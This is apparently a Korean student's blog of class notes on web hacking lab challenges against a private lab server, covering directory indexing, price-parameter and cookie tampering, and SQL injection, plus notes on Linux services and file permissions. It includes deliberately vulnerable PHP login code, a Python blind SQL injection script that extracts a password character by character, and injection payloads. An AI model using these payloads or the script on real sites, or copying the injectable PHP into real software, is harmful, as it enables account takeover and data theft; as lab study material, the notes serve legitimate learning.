http://192.168.101.201/challenges/bot/__bot_admin_panel__/

 

하면 password나옴

 


 

 

http://192.168.101.201/challenges/read_me/

 

 

 

3개 다 눌러보면 

http://192.168.101.201/challenges/read_me/page/form.html

http://192.168.101.201/challenges/read_me/page/table.html

http://192.168.101.201/challenges/read_me/page/select.html

 

이렇게 나옴

 

디렉토리 인덱싱 문제이므로 

 

http://192.168.101.201/challenges/read_me/page 여기까지만 쳐보면 

password 나옴

 


 

 

pds

 

 

파일 업로드 하면 access denide 나옴

 

 

아무것도 안 올렸을 때

 

 

경로가 나옴

 

 

password 폴더 안에 답 있음

 


 

 

서버로 전송되는 파라미터 조작

 

 

 

제출했을 때 파라미터가 이렇게 나옴

http://192.168.101.201/challenges/shop_1/index.php?buy=1&price=100000&name=1&address=1&phone=1

 

내가 가진 포인트는 우측 상단에 10이라고 되어있음

 

파라미터를 

http://192.168.101.201/challenges/shop_1/index.php?buy=1&price=10&name=1&address=1&phone=1

라고 고치면 password 나옴

 


 

 

 

http://192.168.101.201/challenges/shop_2/index.php?buy=4

 

파라미터가 숨겨져 있음

 

burpsuite로 하면

 

method가 POST로 되어있음

 

price에 인코딩 된 값을 디코딩 해보면 10000이 나옴

 

근데 우린 포인트가 10 있으니 10을 인코딩 하면

 

 

 

MTA= 가 나옴

 

 

 


 

 

 

 

'보안 > 취약점 진단 및 대응' 카테고리의 다른 글

수업 필기...  (0) 2024.12.26
Cookie  (0) 2024.12.26
SQL Injection  (0) 2024.12.21
SQL Injection 문제 1, 2, 3  (0) 2024.12.21

1.finger

finger는 리눅스 및 유닉스 시스템에서 사용되는 명령어로, 주로 시스템의 사용자 정보를 조회하는 데 사용됩니다. finger 명령어를 사용하면 시스템에 로그인한 사용자나 다른 사용자의 계정 정보, 상태, 로그인 시간 등을 확인할 수 있습니다.

 

2. FTP

FTP는 클라이언트와 서버 간 파일을 주고받는 프로토콜로, 주로 TCP 포트 21을 사용합니다. 보안 취약점이 있어 FTPS나 SFTP 같은 대안이 더 안전합니다. 파일 업로드, 다운로드, 디렉터리 조회 등을 지원하며 설정은 /etc/vsftpd/vsftpd.conf에서 관리합니다.

 

3.NFS(Network File System)

설명: 네트워크를 통해 디렉터리를 공유하는 파일 시스템 서비스.

 

NFS 서버

공유 디렉터리를 설정하고 이를 네트워크로 제공하는 역할.

설정 파일: /etc/exports

 

NFS 클라이언트

NFS 서버로부터 디렉터리를 마운트하여 로컬 디렉터리처럼 사용하는 역할.

 

서버에서 공유

exportfs -ra

 

클라이언트에서 마운트

mount -t nfs [server_ip]:/path/to/share /mnt




4. NIS(Network Information Service)

 

NIS(Network Information Service)는 UNIX/Linux 환경에서 사용자 계정, 그룹 등의 데이터를 중앙에서 관리하는 디렉토리 서비스로, 클라이언트-서버 구조로 동작하며, 네트워크 내 여러 시스템이 동일한 정보를 공유하도록 지원합니다. 관리 효율성은 높지만, 데이터 암호화가 부족해 보안에 취약하여 소규모 네트워크에서 주로 사용되었으며, 현대에는 LDAP 같은 보안성과 확장성이 더 높은 대체 기술로 교체되었습니다






5. SNMP(Simple Network Management Protocol)

SNMP(단순 네트워크 관리 프로토콜)는 네트워크 장비를 모니터링하고 관리하기 위한 프로토콜이다.

네트워크 스위치, 라우터, 서버 등의 상태를 확인하거나 설정을 변경하는 데 사용된다.

SNMP는 주로 UDP 프로토콜을 사용하며, 버전 1, 2c, 3이 있으며 버전 3은 보안 기능이 강화되었다.

주로 네트워크 성능 감시, 문제 해결, 장비 관리에 활용된다.



6. RPC

프로세스간 통신(IPC Inter-Process Communication)의 한 형태로 기본적으로 원격지에 있는 정의된 함수를 마치 로컬에 있는 것처럼 사용하는 것이라고 합니다.

RPC 모델은 분산컴퓨팅 환경에서 많이 사용되어왔으며, 현재에는 MSA(Micro Software Archtecture)에서 마이크로 서비스간에도 많이 사용되는 방식입니다.





7. cron(tab)

특정 시간에 특정 작업을 하는 데몬을 Cron(크론)이라 하고 크론(Cron) 이 언제 무엇을 하는지 특정 파일에 저장하는 것을 크론탭(Crontab)이라고 한다. 크론(Cron) 이라는 데몬이 원하는 시간에 원하는 명령 또는 프로그램을 수행하도록 명령 리스트를 만드는 것이 크론탭(Crontab) 작업이다. 이는 윈도우의 스케줄러와 비슷한 컨셉이다. 특정 시간에 특정 작업을 해야할때, 반복된 시간에 반복된 작업을 해야할때, 예약 작업을 사용해야 할때 사용한다.



8.  주요파일

/etc/passwd: 모든 사용자 계정 정보를 포함하는 파일

/etc/shadow: 암호화된 사용자 비밀번호(해시)를 저장하는 파일

 

/etc/hosts: host 이름과  ip 주소를 매핑





9. xinetd

/xinetd : 데몬을 관리하는 슈퍼데몬

특징 : 필요한 경우에만 메모리에 적재되며 빠른 응답을 요구하지 않는 경우에 이용

응답속도가 느리지만 서버 부하를 줄일 수 있음

데몬을 관리 및 제어하기 때문에데몬 서비스 접속시 슈퍼데몬에 의해서 연결을
검증 받은 뒤 연결이 성립 

etc/xinetd.d에서 실행

 

 

 


 

 

Owner   Group  Others

rwx        rwx       rwx  :  777

 

rwx → 7

421 을 다 더하면 7

 

r-x   →  5

-wx → 3

 

취약점 진단할 때 권한을 640이하로 하라  라고 할 수 있음

 

 

s: rwx → rws(실행 권한이 있는 특수권한)

s: rw- → rwS(실행 권한이 없는 특수권한)

 

 

Set UID(4)

Set GID(2)

 


 

 

https://www.kisa.or.kr/2060204/form?postSeq=12&lang_type=KO&page=1#fnPostAttachDownload

 

KISA 한국인터넷진흥원

 

www.kisa.or.kr

 

주요정보통신기반시설_기술적_취약점_분석_평가_방법_상세가이드.pdf 참고 ↓

 

 

 

 

1. 계정관리 > 1.1 root 계정 원격접속 제한

 

점검내용

시스템 정책에 root 계정의 원격터미널 접속차단 설정이 적용되어 있는지 점검

 

점검목적

관리자계정 탈취로 인한 시스템 장악을 방지하기 위해 외부 비인가자의 root 계정 접근 시도를 원천적으로 차단하기 위함

 

 

실제로 위의 경로에 파일이 없을 수 있음

그럴땐 구글링 해서 버전별로 직접 찾아야 함

 

 

.......

 

 

 

 

'보안 > 취약점 진단 및 대응' 카테고리의 다른 글

웹 해킹 문제들  (0) 2024.12.28
Cookie  (0) 2024.12.26
SQL Injection  (0) 2024.12.21
SQL Injection 문제 1, 2, 3  (0) 2024.12.21

1. 

 

guest를 admin으로 바꾸고

admin page 클릭하면 성공

 

 

'보안 > 취약점 진단 및 대응' 카테고리의 다른 글

웹 해킹 문제들  (0) 2024.12.28
수업 필기...  (0) 2024.12.26
SQL Injection  (0) 2024.12.21
SQL Injection 문제 1, 2, 3  (0) 2024.12.21

1.

 

<html>
<head>
<title>SQL Binary</title>
</head>
<body>
<?php
@mysql_connect("localhost","","");
@mysql_select_db("");

/*

mysql> desc mem;
+-------+-------------+------+-----+---------+-------+
| Field | Type        | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| no    | int(50)     | YES  |     | NULL    |       |
| id    | varchar(50) | YES  |     | NULL    |       |
| pw    | varchar(50) | YES  |     | NULL    |       |
+-------+-------------+------+-----+---------+-------+
3 rows in set (0.00 sec)

*/

if($_GET[no])
{
    if(eregi("from|union|ascii|char|0x",$_GET[no])) exit("Access Denied");
    $q=@mysql_fetch_array(mysql_query("select * from mem where no=$_GET[no]"));
    if($q)
    {
        echo("no : $q[no]<br>id : $q[id]<br>pw : ?");
        exit();
    }
}

echo("<form method=get action=index.php>user_no<br><input type=text name=no value=1><br><br><input type=submit></form>");
?>
<br>
<a href=index.phps>index.phps</a>
</body>
</html>

 

 

 

SQL Injection을 이용해 웹 페이지에서 비밀번호를 추측하려는 스크립트 ↓

import requests
import os

search='?'

lower=list()
for n in range(0, 130):
    if n<131:
        lower.append(n)
        n=n+1
        
for i in range(1,8):
    for l in lower:                
        URL="http://192.168.101.201/challenges/sql_binary/index.php?no=2 and ord(substr(pw,"+str(i)+",1))="+str(l)+"%23"
        res = requests.get(URL)
        if search in res.text:
            m=chr(l)
            print(i,m,l)

 

 

 

코드 해석

 

 

 

 

 


 

 

 

2. 

'보안 > 취약점 진단 및 대응' 카테고리의 다른 글

웹 해킹 문제들  (0) 2024.12.28
수업 필기...  (0) 2024.12.26
Cookie  (0) 2024.12.26
SQL Injection 문제 1, 2, 3  (0) 2024.12.21

1.

 

 

 

<html>
<head>
<style type="text/css">
* { margin:0 auto; padding:10pt; }
input[type=submit] { width:150pt; }
</style>
<title>SQL 100</title>
</head>
<body>
<?php
    mysql_connect("localhost","","");
    mysql_select_db("");
    $password=md5("????");
    if($_GET[id] && $_GET[pw])
    {
        // injection point
        $query="select id,pw from user where id='$_GET[id]' and pw='$_GET[pw]'";
        $data=mysql_fetch_array(mysql_query($query));

        if($data[id]=="guest")
        {
            echo("hi guest!");
        }

        else if($data[id]=="admin")
        {
            echo("hi admin!");
            echo("<br>password is $password");
        }

        else
        {
            echo("Wrong<br>".htmlspecialchars($query)."<br>");
        }
    echo("<br><br><a href=index.php>Done</a>");
    exit();
    }
?>

<form method=get action=index.php>
<table border=0 align=center cellpadding=20 cellspacing=0>
<tr><td>username</td><td><input type=text name=id value='guest'></td></tr>
<tr><td>password</td><td><input type=password name=pw value='guest'></td></tr>
<tr><td colspan=2 align=center><input type=submit value='Login'></td></tr>
</table>
</form>
<center><a href=index.phps>index.phps</a></center>
</body>
</html>

 

 

admin으로 로그인 해서 password를 알아내는 문제

 

 

burp suite로 테스트 해보라는데 ...

뭘 알아야...

 

 

 

 

해설

 

 


 

 

 

2. 

 

 

<html>
<head>
<style type="text/css">
* { margin:0 auto; padding:10pt; }
input[type=submit] { width:100pt; }
div { background:lightblue;text-align:center;width:300pt; }
</style>
<title>SQL 150</title>
</head>
<body>
<center>
<?php
    mysql_connect("localhost","","");
    mysql_select_db("");
    $password=md5("????");

    if($_GET[no])
    {
        if(eregi("[a-z]",$_GET[no])) exit("Access Denied");
        $query="select * from user where no=$_GET[no]";
        $data=mysql_fetch_array(mysql_query($query));
        if($data[user]=="guest") echo("hi guest");
        else if($data[user]=="admin") echo("password is $password");
        else echo("Wrong<br>".htmlspecialchars($query));
    }
?>
</center>

<form method=get action=index.php>
<div>No <input type=text name=no value='1234'><input type=submit></div>
</form>
<center><a href=index.phps>index.phps</a></center>
</body>
</html>

 

 

 

해설

php에서 함수의 매개변수로 NULL값이 전달되었을 때, 내부적으로 문자열로 변환되는 경우가 많음

 

 

input에 1234를 입력하고 제출 버튼 클릭 

/index.php?no=1234 이렇게 쿼리 스트링이 날아감

 

no=%27%00%27 or 1=1 order by no desc%23  이렇게 적어주면 되는데

 

%27%00%27 or 1=1 order by no desc%23 는 인코딩 된 형태

디코딩 하면 ↓

' NULL ' or 1=1 order by no desc #

 

%27 → 싱글쿼터 (')

%00 → NULL

%23 → #

 

 

 

 

3.

 

 

<html>
<head>
<style type="text/css">
* { margin:0 auto; padding:10pt; }
input[type=submit] { width:100pt; }
div { background:lightblue;text-align:center;width:300pt; }
</style>
<title>SQL SPACE</title>
</head>
<body>
<center>
<?php
    mysql_connect("","","");
    mysql_select_db("");

    $password="????";

    if($_GET[id] && $_GET[pw])
    {
        $_GET[pw]=addslashes($_GET[pw]);
        $_GET[id]=str_replace(" ","",$_GET[id]);
        $_GET[pw]=str_replace(" ","",$_GET[pw]);
        $query="select * from user where pw='$_GET[pw]' and user='$_GET[id]'";
        echo("<b>".htmlspecialchars($query)."</b><br>");
        $data=mysql_fetch_array(mysql_query($query));
        if($data[user]=="guest") echo("hi guest");
        if($data[user]=="admin") echo("password is $password");
    }
?>
</center>
<form method=get action=index.php>
<table border=0 align=center cellpadding=10>
<tr><td>ID</td><td><input type=text name=id value='guest'></td></tr>
<tr><td>PW</td><td><input type=password name=pw value='guest'></td></tr>
<tr><td colspan=2 align=center><input type=submit value='Login'></td></tr>
</table>
</form>
</body>
</html>

 

 

 

 

 

 

 

 

pw = a 인 것은 그냥 파라미터가 넘어가야해서 넣어준것

 

'보안 > 취약점 진단 및 대응' 카테고리의 다른 글

웹 해킹 문제들  (0) 2024.12.28
수업 필기...  (0) 2024.12.26
Cookie  (0) 2024.12.26
SQL Injection  (0) 2024.12.21

+ Recent posts